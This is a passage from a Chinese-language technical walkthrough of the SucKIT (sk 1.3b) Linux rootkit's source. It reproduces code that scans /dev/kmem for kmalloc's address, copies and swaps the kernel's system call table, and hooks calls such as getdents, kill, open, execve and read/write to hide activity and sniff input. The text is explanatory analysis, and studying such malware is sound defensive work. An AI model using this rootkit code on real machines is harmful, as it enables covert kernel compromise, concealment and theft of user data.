|
然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址
以下是代码片段: ulong get_kma(int kmem, ulong pgoff, ulong *rgfp, ulong hint) { #define KCALL 8192 #define KSIZE (1024*1024*2) #define BUFSZ (1024*64) #define MAXGFP 0x0fff #define MAXSIZE 0x1ffff uchar buf[BUFSZ+64]; uchar *p; ulong pos; ulong gfp, sz, call; kcall kcalls[KCALL]; int c, i, ccount;
gfp = sz = call = ccount = 0;
for (pos = pgoff; pos < (KSIZE + pgoff); pos += BUFSZ) { c = rkm(kmem, buf, BUFSZ, pos); if (ERR(c)) break; /* 寻找push和call指令 */ for (p = buf; p < (buf + c); ) { switch (*p++) { case 0x68: gfp = sz; sz = *(ulong *) p; p += 4; continue; case 0x6a: gfp = sz; sz = *p++; continue; case 0xe8: call = *(ulong *) p + pos + (p - buf) + 4; p += 4; if (gfp && sz && gfp <= MAXGFP && sz <= MAXSIZE) break; default: gfp = sz = call = 0; continue; }
for (i = 0; i < ccount; i++) { if ((kcalls[i].addr == call) && (kcalls[i].gfp == gfp)) { kcalls[i].count++; goto outta; } }
if (ccount >= KCALL) goto endsrch;
kcalls[ccount].addr = call; kcalls[ccount].gfp = gfp; kcalls[ccount++].count = 1; outta: } } endsrch: if (!ccount) return 0; c = 0; for (i = 0; i < ccount; i++) { if (hint) { if (kcalls[i].addr == hint) { c = i; break; } } else { if (kcalls[i].count > kcalls[c].count) c = i; } } *rgfp = kcalls[c].gfp; return kcalls[c].addr; #undef KCALL #undef KSIZE #undef BUFSZ #undef MAXGFP #undef MAXSIZE }
kernel.c/kernel_init()函数 |
kernel.c的入口语句是:KINIT(mem, sct, sctp, oldsys);
/* initialization code (see install.c for details) */ void kernel_init(uchar *mem, ulong *sct, ulong *sctp[2], ulong oldsys) {
/* ksize 为sk本身的大小 ,newsct指向刚才用kmalloc分配的内存区域 */
ulong ksize = (ulong) kernel_end - (ulong) kernel_start; ulong *newsct = (void *) mem;
/* 将oldsys 保存到原来的地址处,oldsys 保存的是oldolduname系统调用的地址 */
sct[OURSYS] = oldsys;
/*
请看内存示意图
mem kernel_start kernel_init kernel_end | | | | V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc) +------------------------------------------------------------------------------------ | 新的sys_call_table的数组 | | | 000000--------------000000| +------------------------------------------------------------------------------------
memset(mem + SCT_TABSIZE + ksize, 0, PID_TABSIZE);
/* 保存老的sys_call_table指针 ,pidtab指向mem + SCT_TABSIZE + ksize内存区域 */
*oldsct() = (ulong) sct; *pidtab() = (void *) (mem + SCT_TABSIZE + ksize);
/* 将老的sys_call_table的数组内容保存到mem开始出,这样newsct就保存了原sys_call_table的全部内容 */
memcpy(mem, sct, SCT_TABSIZE);
/* 下面就是修改系统调用指针入口来hook系统调用了
hook(OURCALL); 是一个宏调用
#define hook(name) \ newsct[__NR_##name] = ((ulong) new_##name - \ (ulong) kernel_start) + \ (ulong) mem + SCT_TABSIZE;
这样hook(OURCALL);就被展开为:
newsct[__NR_OURCALL] = ( (ulong) new_OURCALL - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;
sk.h中OURCALL被定义为: #define OURCALL oldolduname
newsct[__NR_oldolduname] = ( (ulong) new_oldolduname - (ulong) kernel_start ) + (ulong)mem + SCT_TABSIZE;
在看内存示意图
mem kernel_start kernel_init kernel_end | | | | V ------> 256 * 4 <--------V V V ----->512*sizeof(pid_struc) +------------------------------------------------------------------------------------ | 新的sys_call_table的数组 | | | | 000000--------------000000| +------------------------------------------------------------------------------------ ^ ^ | | oldolduname<------------new_oldolduname
用kernel.c中的new_oldolduname来指向原来的oldolduname
注意:oldsctp(),*oldsct(),*pidtab() 这3个函数的内存大小是怎么分配的,请看对kernel.c的分析
以下是代码片段: */
hook(OURCALL); hook(clone); hook(fork); hook(vfork); hook(getdents); hook(getdents64);
hook(kill); hook(open); hook(close); #ifdef SNIFFER hook(read); hook(write); #endif #ifdef SNIFFER hook(execve); #endif #ifdef INITSTUFF hook(utime); hook(oldstat); hook(oldlstat); hook(oldfstat); hook(stat); hook(lstat); hook(fstat); hook(stat64); hook(lstat64); hook(fstat64); hook(creat); hook(unlink); hook(readlink); #endif |
/* 将老的sys_call_table指针入口保存到oldsctp中 */
memcpy(oldsctp(), sctp, 2 * sizeof(ulong));
/* 用新的sys_call_table[]替换原来的sys_call_talbe,到此hook系统调用就成功了 */
*sctp[0] = (ulong) newsct; /* normal call */ *sctp[1] = (ulong) newsct; /* ptraced call */ }
到此sk的hook系统调用的过程就结束了。
补充: kernel.c可为sk13b代码中较为复杂的代码了 ,如果要读懂它,需要对linux代码很熟悉. 基本上是一些系统调用的替带品,但是有些宏函数不是很好理解,我在这里简单提一下.
DVAR(pid_struc *, pidtab, NULL); DVAR(ulong, oldsct, 0);
DVAR 是个宏调用;
在Rdata.h中定义如下:
#define DVAR(type, name, val) \ DARR(type, 1, name, val)
是个宏嵌套,DVRR如下:
以下是代码片段:
#define DARR(type, count, name, val...) \ struct s_##name { \ uchar s[5]; \ type l[count]; \ uchar f[2]; \ } __attribute__((packed)); \ static struct s_##name f_##name = \ {{0xe8, sizeof(f_##name.l) & 0xff, (sizeof(f_##name.l) >> 8) & 0xff, 0, 0}, \ , \ {0x58, 0xc3}}; \ static inline type *name(void) \ { \ type *(*func)() = (void *) &f_##name; \ return func(); \ }
我们把DVAR(pid_struc *, pidtab, NULL);展开后看看
DVAR(pid_struc *, pidtab, NULL);
DVRR(pid_struc *, 1,pidtab, NULL);
struct s_pidtab{ uchar s[5]; pid_struc * l[1]; uchar f[2]; } __attribute__((packed)); /* __attribute__ ((packed)); 是说取消结构在编译过程中的优化对齐 */
static struct s_pidtab f_pidtab = {{0xe8, sizeof(f_pidtab.l) & 0xff, (sizeof(f_pidtab.l) >> 8) & 0xff, 0, 0}, , {0x58, 0xc3}};
static inline type *pidtab(void) { pid_struc* *(*func)() = (void *) &f_pidtab; return func(); }
DARR(ulong *, 2, oldsctp);
这下明白oldsctp(),*oldsct(),*pidtab()这几个函数指针是什么意思了吧.
|
六、总结
现在对于sk hook系统调用的过程应该很清楚了吧,如果有其他函数或数据不了解的话,请参考它的全部代码.同时sk是通过读和写kmem来控制系统的,kmem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。但在有些系统如fc4上已经禁止写kmem了,所以sk13b自然在那些系统不能安装,也时很多sk的爱好者沮丧.
七、参考
[1] Sk-1.3b source code by sd [2] Linux on-the-fly kernel patching without LKM by sd&devik [3] Linux 2.4.20-8 soucre code [4] Intel 80386 Programmer's Reference Manual 上一页 [1] [2] [3] |